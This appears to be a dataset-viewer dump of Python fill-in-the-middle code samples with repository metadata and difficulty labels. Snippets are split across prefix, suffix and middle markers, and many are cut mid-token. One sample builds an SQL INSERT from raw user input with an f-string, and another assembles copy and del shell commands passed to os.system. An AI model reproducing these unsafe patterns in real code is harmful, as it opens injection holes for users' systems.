<|fim_prefix|># repo: refeed/PAlgoritmaTRPLA path: /DES_1_2020/quizA.py
'''
DESKRIPSI SOAL
Terdapat byk skl cara / algoritma untuk mengurutkan suatu data didalam
suatu Array. Pada kasus ini disiapkan suatu algoritma. Terapkan Algoritma ini
sehingga dapat diketahui, berapa kali pertukaran dilakukan.
Algoritma:
1. C... | code_fim | medium | {
"lang": "python",
"repo": "refeed/PAlgoritmaTRPLA",
"path": "/DES_1_2020/quizA.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
endpoint = API_URI + '/tests/1'
r = client.get(endpoint)
assert r.status_code == 200
endpoint = API_URI + '/tests/2'
r = client.get(endpoint)
assert r.status_code == 200
assert self.get_content(r) == "1"<|fim_prefix|># repo: rapydo/tests path: /p... | code_fim | medium | {
"lang": "python",
"repo": "rapydo/tests",
"path": "/projects/celerybeat/backend/tests/test_celery.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: rapydo/tests path: /projects/celerybeat/backend/tests/test_celery.py
# -*- coding: utf-8 -*-
# import time
from restapi.tests import BaseTests, API_URI
# from restapi.utilities.logs import log
<|fim_suffix|>
endpoint = API_URI + '/tests/1'
r = client.get(endpoint)
assert... | code_fim | medium | {
"lang": "python",
"repo": "rapydo/tests",
"path": "/projects/celerybeat/backend/tests/test_celery.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: suddi/tweetindex-streamer path: /store/dynamodb.py
# -*- coding: utf-8 -*-
import json
import requests
import uuid
from settings import TWEETINDEX
def create_id(document):
if not 'id' in document:
document['id'] = str(uuid.uuid4())
return document
<|fim_suffix|> for documen... | code_fim | easy | {
"lang": "python",
"repo": "suddi/tweetindex-streamer",
"path": "/store/dynamodb.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> for document in documents:
document = create_id(document)
print json.dumps(document)
requests.post(TWEETINDEX['endpoint'], headers=TWEETINDEX['headers'], data=json.dumps(document))
return True<|fim_prefix|># repo: suddi/tweetindex-streamer path: /store/dynamodb.py
# -*- co... | code_fim | medium | {
"lang": "python",
"repo": "suddi/tweetindex-streamer",
"path": "/store/dynamodb.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: bergercookie/hashcode-server path: /algo.py
#!/usr/bin/env python3
from export_results import export_results
import os
from parse_input import parse_input
import sys
import custom_types
import time
# Main body of the hashcode algorithm
<|fim_suffix|> if len(sys.argv) != 2:
print("Us... | code_fim | medium | {
"lang": "python",
"repo": "bergercookie/hashcode-server",
"path": "/algo.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Process
# Export results
outfile = "{}_{}".format(int(time.time()), input_f)
export_results(problem, outfile)
if __name__ == "__main__":
main()<|fim_prefix|># repo: bergercookie/hashcode-server path: /algo.py
#!/usr/bin/env python3
from export_results import export_results
impor... | code_fim | hard | {
"lang": "python",
"repo": "bergercookie/hashcode-server",
"path": "/algo.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Sevlin/cryptopotato-bot path: /devpotato_bot/runner.py
import datetime
import logging
import os
import sys
from typing import Set, Dict, Optional
import pytz
import telegram
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from telegram import Bot
from telegram.ext im... | code_fim | hard | {
"lang": "python",
"repo": "Sevlin/cryptopotato-bot",
"path": "/devpotato_bot/runner.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def add_command_description(self, command, description):
"""Add command to the list of commands to be shown to Telegram clients"""
self._command_list[command] = description
def run(self):
self.updater.start_polling()
# Run the bot until you press Ctrl-C or the pro... | code_fim | hard | {
"lang": "python",
"repo": "Sevlin/cryptopotato-bot",
"path": "/devpotato_bot/runner.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: point-source/WhatManager2 path: /userscript/urls.py
from django.conf.urls import patterns, url
urlpatterns = patterns(
'',
ur<|fim_suffix|>$', 'userscript.views.whatcd'),
url(r'^overdrive.user.js$', 'userscript.views.overdrive'),
url(r'^myanonamouse.user.js$', 'userscript.views.m... | code_fim | medium | {
"lang": "python",
"repo": "point-source/WhatManager2",
"path": "/userscript/urls.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>overdrive'),
url(r'^myanonamouse.user.js$', 'userscript.views.myanonamouse'),
)<|fim_prefix|># repo: point-source/WhatManager2 path: /userscript/urls.py
from django.conf.urls import patterns, url
urlpatterns = patterns(
'',
ur<|fim_middle|>l(r'^bibliotik.user.js$', 'userscript.views.biblioti... | code_fim | medium | {
"lang": "python",
"repo": "point-source/WhatManager2",
"path": "/userscript/urls.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: prodrigues07/paulo-victor-sor1-p7-info path: /client.py
import threading
import socket
apelido = input('Escolha seu apelido: ')
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('127.0.0.1', 5555))
def receive_client():
<|fim_suffix|> while True:
data = f'{a... | code_fim | hard | {
"lang": "python",
"repo": "prodrigues07/paulo-victor-sor1-p7-info",
"path": "/client.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>def write_msg():
while True:
data = f'{apelido}: {input("")}'
client.send(data.encode('utf-8'))
receive_thread = threading.Thread(target=receive_client)
receive_thread.start()
write_thread = threading.Thread(target=write_msg)
write_thread.start()<|fim_prefix|># repo: prodrigues07/paul... | code_fim | hard | {
"lang": "python",
"repo": "prodrigues07/paulo-victor-sor1-p7-info",
"path": "/client.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> while True:
try:
data = client.recv(1024).decode('utf-8')
if data == 'NICK':
client.send(apelido.encode('utf-8'))
else:
print(data)
except:
print('Um erro ocorreu. Tente novamente!')
client.clos... | code_fim | medium | {
"lang": "python",
"repo": "prodrigues07/paulo-victor-sor1-p7-info",
"path": "/client.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: wolfgangB33r/blogPostMaterial path: /dynatrace-tensorflow-callback/example.py
# Example Keras model training with TensorFlow and evaluation use along with a Dynatrace TensorFlow
# callback receiver for AI Observability.
import tensorflow as tf
print("TensorFlow version:", tf.__version__)
import ... | code_fim | medium | {
"lang": "python",
"repo": "wolfgangB33r/blogPostMaterial",
"path": "/dynatrace-tensorflow-callback/example.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|># train the model
model.fit(x_train, y_train, epochs=5, callbacks=[dt_callback])
# use the model in production
while True:
model.evaluate(x_test, y_test, verbose=2, callbacks=[dt_callback])
time.sleep(60)<|fim_prefix|># repo: wolfgangB33r/blogPostMaterial path: /dynatrace-tensorflow-callback/ex... | code_fim | hard | {
"lang": "python",
"repo": "wolfgangB33r/blogPostMaterial",
"path": "/dynatrace-tensorflow-callback/example.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def __init__(self, handler, data):
self.handler = handler
self.data = data
def dumps(self):
raise NotImplementedError()<|fim_prefix|># repo: snower/watoee path: /watoee/serializes/serialize.py
# -*- coding: utf-8 -*-
# 16/12/26
# create by: snower
<|fim_middle|>class Ser... | code_fim | easy | {
"lang": "python",
"repo": "snower/watoee",
"path": "/watoee/serializes/serialize.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: snower/watoee path: /watoee/serializes/serialize.py
# -*- coding: utf-8 -*-
# 16/12/26
# create by: snower
class Serialize(object):
def __init__(self, handler, data):
<|fim_suffix|> def dumps(self):
raise NotImplementedError()<|fim_middle|> self.handler = handler
se... | code_fim | easy | {
"lang": "python",
"repo": "snower/watoee",
"path": "/watoee/serializes/serialize.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ecmwf/kronos path: /kronos_modeller/kronos_modeller/post_process/exporter_base.py
# (C) Copyright 1996-2018 ECMWF.
#
# This software is licensed under the terms of the Apache Licence Version 2.0
# which can be obtained at http://www.apache.org/licenses/LICENSE-2.0.
# In applying this licence, E... | code_fim | hard | {
"lang": "python",
"repo": "ecmwf/kronos",
"path": "/kronos_modeller/kronos_modeller/post_process/exporter_base.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> # check that export type is consistent with the class type
if export_config["type"] != self.export_type:
raise ConfigurationError("Export type {}, does not match class: {}".format(export_config["type"],
... | code_fim | hard | {
"lang": "python",
"repo": "ecmwf/kronos",
"path": "/kronos_modeller/kronos_modeller/post_process/exporter_base.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> export_type = "BaseExporter"
default_export_format = None
optional_configs = []
def __init__(self, sim_set=None):
self.sim_set = sim_set
self.export_config = None
def export(self, export_config, output_path, job_classes, **kwargs):
self.export_config = export... | code_fim | hard | {
"lang": "python",
"repo": "ecmwf/kronos",
"path": "/kronos_modeller/kronos_modeller/post_process/exporter_base.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: vektorelpython24proje/Sqlsamples path: /IBRAHIM/dbinsert.py
import sqlite3 as sql
try:
db = sql.connect(r"chinook\chinook.db")
cur = db.cursor()
# insert sorgusunu yazarak işlemi gerçekleştireceğiz.
isim = inpu<|fim_suffix|>VALUES ('{isim}','{soyisim}','{email}')"""
cur.exe... | code_fim | medium | {
"lang": "python",
"repo": "vektorelpython24proje/Sqlsamples",
"path": "/IBRAHIM/dbinsert.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> print(f"Kayıt Id {cur.execute(sorgu).fetchone()[0]}")
except Exception as hata:
db.rollback()
print("Hata Mesajı :",hata)
finally:
cur.close()
db.close()<|fim_prefix|># repo: vektorelpython24proje/Sqlsamples path: /IBRAHIM/dbinsert.py
import sqlite3 as sql
try:
db = sql.connect(r"chi... | code_fim | medium | {
"lang": "python",
"repo": "vektorelpython24proje/Sqlsamples",
"path": "/IBRAHIM/dbinsert.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: catchin91/hide-and-seek path: /evaluation.py
import tensorflow as tf
from pathlib import Path
import numpy as np
import os
import pickle as pkl
import matplotlib.pyplot as plt
from sklearn.metrics import accuracy_score
import utils
from utils.options import config
import networks
class HNSEval... | code_fim | hard | {
"lang": "python",
"repo": "catchin91/hide-and-seek",
"path": "/evaluation.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> for i, (x, y) in enumerate(data):
preds = self.model(x)['seeker_output']
y_pred = [np.argmax(p) for p in preds]
y_true = [np.argmax(p) for p in y]
accuracy(accuracy_score(y_true, y_pred))
if i == steps:
break
r... | code_fim | hard | {
"lang": "python",
"repo": "catchin91/hide-and-seek",
"path": "/evaluation.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> context = super(ThemePackageView, self).get_context_data(**kwargs)
broker = get_broker()
context.update({
'notifications': {
'card_updated': {
'title': _("Card updated"),
'descr': _("This notification is sent when ... | code_fim | hard | {
"lang": "python",
"repo": "jpoechill/djaoapp",
"path": "/djaoapp/views/custom_themes.py",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jpoechill/djaoapp path: /djaoapp/views/custom_themes.py
# Copyright (c) 2019, DjaoDjin inc.
# see LICENSE
from django.utils.translation import ugettext_lazy as _
from multitier.mixins import build_absolute_uri
from multitier.thread_locals import get_current_site
from saas.models import get_broke... | code_fim | hard | {
"lang": "python",
"repo": "jpoechill/djaoapp",
"path": "/djaoapp/views/custom_themes.py",
"mode": "psm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> sim = load_simul(sim_data / f"session_{session_id:02d}")
assert sim.params.output.session_id == session_id
@pytest.mark.parametrize("session_id", (0, 1))
def test_load_simul_session(sim_data, session_id):
sim = load_simul(sim_data, session_id=session_id)
assert sim.params.output.session_... | code_fim | medium | {
"lang": "python",
"repo": "snek5000/snek5000",
"path": "/tests/test_load_simul.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: snek5000/snek5000 path: /tests/test_load_simul.py
import pytest
from snek5000 import load_simul
<|fim_suffix|> sim = load_simul(sim_data, session_id=session_id)
assert sim.params.output.session_id == session_id<|fim_middle|>@pytest.mark.parametrize("session_id", (0, 1))
def test_load_si... | code_fim | hard | {
"lang": "python",
"repo": "snek5000/snek5000",
"path": "/tests/test_load_simul.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: matthijsbrouwer/elabjournal-python path: /elabjournal/elabjournal/SampleMeta.py
from .eLABJournalObject import *
import urllib.parse
class SampleMeta(eLABJournalObject):
def __init__(self, api, sample_id, data):
if ((data is not None) & (sample_id is not None) & (type(data... | code_fim | hard | {
"lang": "python",
"repo": "matthijsbrouwer/elabjournal-python",
"path": "/elabjournal/elabjournal/SampleMeta.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
kwargs["sampleID"] = self.__sampleID
kwargs["sampleMetaID"] = self.id()
self._eLABJournalObject__api.update_sample_meta(*list(args), **dict(kwargs))
rp = self._eLABJournalObject__api._request("/api/v1/samples/"+urllib.parse.quote(str(kwargs["sampleID"]))+"/m... | code_fim | hard | {
"lang": "python",
"repo": "matthijsbrouwer/elabjournal-python",
"path": "/elabjournal/elabjournal/SampleMeta.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
Get value.
"""
return(self.__value)
def update(self, *args, **kwargs):
"""
Update the meta.
See update_sample_meta on the api for the available/allowed parameters
"""
kwargs["sampleID"] =... | code_fim | hard | {
"lang": "python",
"repo": "matthijsbrouwer/elabjournal-python",
"path": "/elabjournal/elabjournal/SampleMeta.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: roma-guru/ricksay path: /scripts/imdb_parser.py
#!/usr/bin/env python3
import os
from requests_html import HTMLSession
print("Starting")
session = HTMLSession()
r = session.get("https://www.imdb.com/title/tt2861424/quotes")
# characters to save q<|fim_suffix|>(fname, "w")
print("Parsing main p... | code_fim | hard | {
"lang": "python",
"repo": "roma-guru/ricksay",
"path": "/scripts/imdb_parser.py",
"mode": "psm",
"license": "0BSD",
"source": "the-stack-v2"
} |
<|fim_suffix|>text if len(span) else None
if char and char in characters:
file = char_files[char]
file.write(f"{q.text}\n%\n")
# be nice, close at end
for f in char_files.values():
f.close()<|fim_prefix|># repo: roma-guru/ricksay path: /scripts/imdb_parser.py
#!/usr/bin/env python3
import os
... | code_fim | hard | {
"lang": "python",
"repo": "roma-guru/ricksay",
"path": "/scripts/imdb_parser.py",
"mode": "spm",
"license": "0BSD",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def _combine(self): # 组合资源方法
try:
print("开始组合资源...")
identification = str(floor(time.time()))
exec_str = r'copy /b "' + self._path + r'*.ts" "' + self._path + 'video' + identification + '.mp4"'
os.system(exec_str) # 使用cmd命令将资源整合
exec_str = r'del "' + self._pa... | code_fim | hard | {
"lang": "python",
"repo": "zunzhuowei/python-study",
"path": "/demo09/M3U8Download.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> @retry()
def _download(self, path, url): # 同步下载方法
with requests.get(url, headers=self._headers) as r:
if r.status_code == 200:
with open(self._path + path, "wb")as file:
file.write(r.content)
self._ml.append(0) # 每成功一个就往进程通信列表增加... | code_fim | hard | {
"lang": "python",
"repo": "zunzhuowei/python-study",
"path": "/demo09/M3U8Download.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.